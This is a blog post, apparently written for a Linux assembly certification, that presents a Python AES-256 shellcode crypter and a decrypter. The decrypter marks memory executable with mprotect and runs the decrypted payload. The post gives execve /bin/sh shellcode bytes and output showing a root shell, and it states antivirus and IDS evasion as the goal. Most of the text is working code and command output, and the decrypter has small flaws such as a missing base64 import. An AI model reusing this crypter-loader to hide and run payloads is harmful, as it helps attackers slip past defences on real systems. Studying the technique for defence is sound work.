Linux/x86 Custom shellcode Crypter

Hi Everyone! Today we will write a simple shellcode crypter, Which encrypts original shellcode and then a decrypter decodes and executes original shellcode in memory.

Why Crypters?

shellcode can easily be fingerprinted by AV , IDS systems. in order to prevent such finger printing or to increase our chance of evading such systems while we execute shellcode , we can encrypt the original shellcode.  And moreover more complex/ harder the encryption algorithm, More chances we have to evade AV’s.

We can even increase our chance of evasion, by chaining different methods such as encoding and different cycle of encryption .

choosing the encryption algorithm was the biggest challenge for me , I decided to go with AES – 256 encryption . AES(Advanced Encryption Standard ) is a symmetric encryption algorithm , which means a single same key is used for both encryption and decryption. Number of rounds of encryption cycle , in this case its 14(max rounds) .

I decided to implement with the help of pycrypto module which is available for python.

Here is my simple crypter program(encrypt.py) :

#Crypter AES - 256
#Author : goutham madhwaraj
#website : https://barriersec.com

import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from ctypes import *
import sys
import argparse


parser = argparse.ArgumentParser()
parser.add_argument('-k', "--key", help='secret key used to encrypt shellcode')
parser.add_argument('-s', "--shellcode", help='shellcode should have \ escaped ')

args = parser.parse_args()

if args.key == None and args.shellcode == None :
    parser.print_help()
    exit()

print("Pycrypto AES-256 crypter\n")

secret = args.key
shellcode = args.shellcode

print("provided key :\t",secret,"\n")
print("provided shellcode :\t",shellcode,"\n")

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def encrypt(raw, password):
    private_key = hashlib.sha256(password.encode("utf-8")).digest()
    raw = pad(raw)
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(private_key, AES.MODE_CBC, iv)
    return base64.b64encode(iv + cipher.encrypt(raw))




shellcode_encrypted = encrypt(shellcode, secret)
print("encrypted shellcode :\t",shellcode_encrypted)

My script takes two arguments, key and shellcode.  shellcode is the original shellcode to be encrypted with the provided key . 

I will use one of my previous simple spawn a shell shellcode :

\\x29\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x99\\x6a\\x0b\\x58\\xcd\\x80″

and key : secret

lets execute and test :

root@kali:~/slae_crypter# python3 encrypt.py -k "secret" -s "\x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80"
Pycrypto AES-256 crypter

provided key :	 secret 

provided shellcode :	 \x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80 

encrypted shellcode :	 b'mY3byagSnODp3hjw219NkmjkvU1BWpWYFRyoSN1upEtt9pgd0XLneFUweIpgMrCK/uiUD0SbwyFUg6ciKLlrQUYMG/rzkZFzT/1/3yQb/7j3QX1WsMC/OE11nCE14ZEl8vK7aZriwePk7nGhzAm6ig=='

 

Now here is my custom implemented decrypter in python (decrypt.py) :

#Crypter AES - 256
#Author : goutham madhwaraj
#website : https://barriersec.com
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from ctypes import *
import sys
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-k', "--key", help='secret key used to decrypt shellcode')
parser.add_argument('-e', "--shellcode", help='encrypted shellcode should be a string')

args = parser.parse_args()

if args.key == None and args.shellcode == None :
    parser.print_help()
    exit()

print("Pycrypto AES-256 crypter\n")

secret = args.key
shellcode = args.shellcode.encode()


print("provided key :\t",secret,"\n")
print("encoded shellcode :\t",shellcode,"\n")

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def decrypt(enc, password):
    private_key = hashlib.sha256(password.encode("utf-8")).digest()
    enc = base64.b64decode(enc)
    iv = enc[:16]
    cipher = AES.new(private_key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(enc[16:]))


decrypted = decrypt(shellcode, secret)
exec_shellcode = bytes.decode(decrypted)
print("decoded shellcode....\n")
print(exec_shellcode)

value2 = bytes(exec_shellcode,"ISO-8859-1")

byte_shellcode = value2.decode('unicode-escape').encode('ISO-8859-1')
print(byte_shellcode)

libc = CDLL('libc.so.6') #loading an external libc library
sc_addr = c_char_p(byte_shellcode)
size = len(byte_shellcode)
addr = c_void_p(libc.valloc(size) #dynamically allocate memory of shellcode size
memmove(addr, sc_addr, size) #move shellcode to known address allocated
libc.mprotect(addr, size, 0x7) # use mprotect to mark the memory as executable. ( similar to what we do @ROP)
run = cast(addr, CFUNCTYPE(c_void_p))
run() # jump to shellcode

This Decrypter program takes two argument. one is the key to be used for decryption and encrypted shellcode (base 64) in string format. One of the interesting thing i learned doing this exercise is , how to execute shellcode  bypassing NX dynamically once decrypted. here we dynamically create a certain amount(shellcode size) of memory at run time and move the shellcode to the allocated memory using memmove function. We make use of  external libc library to utilize mprotect function, which helps us to mark the memory as executable. (which prevents execution by default) and finally jump to the shellcode which spawns a shell in this case.

lets execute and test :

root@kali:~/slae_crypter# python3 decrypt.py -k "secret" -e "Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA=="
Pycrypto AES-256 crypter

b'Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA=='
provided key :	 secret 
encoded shellcode :	 b'Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA==' 
decoded shellcode....

\x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80
b')\xc0Ph//shh/bin\x89\xe3\x89\xc1\x99j\x0bX\xcd\x80'
# 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

WootWoot! a shell 😀

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367